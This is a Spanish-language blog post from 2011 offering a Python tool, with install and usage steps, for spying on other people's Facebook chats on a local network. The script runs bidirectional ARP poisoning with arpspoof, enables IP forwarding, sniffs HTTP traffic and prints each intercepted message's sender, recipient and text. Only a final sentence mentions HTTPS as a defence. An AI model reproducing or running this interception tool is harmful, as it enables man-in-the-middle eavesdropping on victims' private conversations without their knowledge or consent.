[L]abels

lunes, 11 de julio de 2011

Espiar conversaciones de Facebook

Hola amigos...Hoy les dejo esta herramienta, que lo que hace es espiar conversaciones de Facebook... En concreto esta tool es un sniffer...
El código esta escrito en Python, y bueno para usarlo necesitan tener instalado lo siguiente:

Python 2.x
arpspoof (dsniff suite)
dpkt
pypcap

Para instalar dichas herramientas en Ubuntu lo pueden hacer con el siguiente comando:

sudo apt-get install python-dpkt python-pypcap dsniff
 
Una vez instalado esta, podran usar dicha herramienta!!
Este es el source de la tool, AQUI:

#!/usr/bin/env python
#-*-encoding:utf8-*-
""" 2011 vdo.pure at gmail.com"""
''' Traducido por ZtuX... secret.user8[at]gmail[dot].com'''
"""
     Este programa es software libre: Usted puede redistribuirlo y / o modificar
     bajo los términos de la licencia GNU General Public License publicada por
     la Free Software Foundation, bien de la versión 3 de la Licencia, o
     (a su elección) cualquier versión posterior.
     Este programa se distribuye con la esperanza de que sea útil,
     pero SIN NINGUNA GARANTÍA, incluso sin la garantía implícita de
     COMERCIALIZACIÓN o IDONEIDAD PARA UN PROPÓSITO PARTICULAR. Consulte la
     Licencia Pública General GNU para más detalles.
     Usted debería haber recibido una copia de la Licencia Pública General GNU
     junto con este programa. Si no, vaya a http://www.gnu.org/licenses/>.
"""
import sys, os
import dpkt, pcap
def check_root():
    """ Devuelve Verdadero (True) si el usuario es root, de lo contrario Falso (False) """
    if os.getenv('LOGNAME','none').lower() == 'root':
        return True
    return False
def poison(iface,victim, gw):
  """ IP Forwarding """
  os.system("sysctl -w .net.ipv4.ip_forward=1 > /dev/null")
  """ ARP cache poisoning, silent, in both directions """
  os.system("arpspoof -i "+iface+" -t "+victim+" "+gw+" 2> /dev/null &")
  os.system("arpspoof -i "+iface+" -t "+gw+" "+victim+" 2> /dev/null &")
  print("Envenenamiento de Cache ARP...")
def fbchatgrep(p,pid):
    data = str(p.data)
    if ("{\"t\":\"msg") and ("\"type\":\"msg\"") in data:
      msgid=data[data.find("\"msgID\":")+9:data.rfind("\"},\"from\":")] 
      if (pid != msgid ): #Comprobar si el mensaje apareció antes (ARP poison clones)
        pid = msgid
        print(" ")
        s = "Mensaje de: "+data[data.find("from_name\":\"")+12:data.rfind("\",\"from_first_name")]
        print(unicode(s,'unicode_escape').encode('utf-8'))
        s = "Para: "+data[data.find("to_name\":\"")+10:data.rfind("\",\"to_first_name")]
        print(unicode(s,'unicode_escape').encode('utf-8'))
        s = data[data.find("\"text\":")+8:data.rfind(",\"time\"")-1]
        print(unicode(s,'unicode_escape').encode('utf-8'))
        print(" ")
    return pid
         
if __name__ == '__main__':
  if len(sys.argv) < 4:
    print '''Traducido por ZtuX... Visita http://mundohacking.com
Para usar siga esta Sintaxis: ./sniff.py [intefaz] [victima] [gateway]
Ejemplo: ./sniff.py eth0 192.168.1.2 192.168.1.254'''
    sys.exit(0)
  if not check_root():
    print 'Debes ser SuperUsuario'
    sys.exit(1)
  pid="fo bar"
  pc = pcap.pcap(sys.argv[1])
  pc.setfilter('tcp and port 80') #Sniff only http
  try:
    print 'Escuchando en: %s' % (pc.name)
    print 'Para Salir teclea: Control+C'
    poison(sys.argv[1],sys.argv[2],sys.argv[3])
    for ts, pkt in pc:
      packet = dpkt.ethernet.Ethernet(pkt)
      pid = fbchatgrep(packet,pid)
  except KeyboardInterrupt:
    os.system("sysctl -w .net.ipv4.ip_forward=0 > /dev/null") # Deshabilitar IP Delantera
    nrecv, ndrop, nifdrop = pc.stats()
    print '\n%d packets received by filter' % nrecv
    print '%d packets dropped by kernel' % ndrop
Y bueno, ahora ¿Como usarlo?
Bien primero copiamos nuestro código en un Editor de Textos como Gedit [por ejemplo] y lo guardamos con la extension .py[IMPORTANTE LA EXTENSION .PY], con el nombre sniff... Preferentemente guardarlo en el Escritorio, y nos quedara como sniff.py

Despues tendremos que darle permisos de Ejecucion y lo hacemos de la sig. manera:
Abrimos una Terminal y nos vamos al lugar donde guardamos nuestro archivo... y tecleamos:

chmod +x sniff.py
 


Como podran notar, en la imagen el nombre del archivo cambio de color, esto porque ahora tiene permisos de ejecucion...
Y bien para hacerlo funcionar, solo basta escribir en una terminal:
./sniff.py
 
Y nos devuelve algo como:

?
1
2
3
4
5
./sniff.py 
Traducido por ZtuX... Visita http://-----------------
Para usar siga esta Sintaxis: ./sniff.py <Intefaz> <Victima> <Gateway
Ejemplo: sniff.py eth0 192.168.1.2 192.168.1.254
  


Y para usarlo ahi tienen la sintaxis y un ejemplo...
Si asi es YO lo traducí jaja xD LOL!!Bueno eso es todo, alguna duda?? 

SaludOS
Por cierto se me olvidaba la página oficial de donde obtuve el source esta Aqui
Y ¿Como evitar este ataque?
Simple, ahora Facebook nos permite cifrar nuesta navegacion, para ello hay que ir a las opciones de nuestra cuenta y elegir la navegacion a travez de https

by [Z]tuX

http://www.youtube.com/watch?v=JzWgZn8QJRo&feature=player_embedded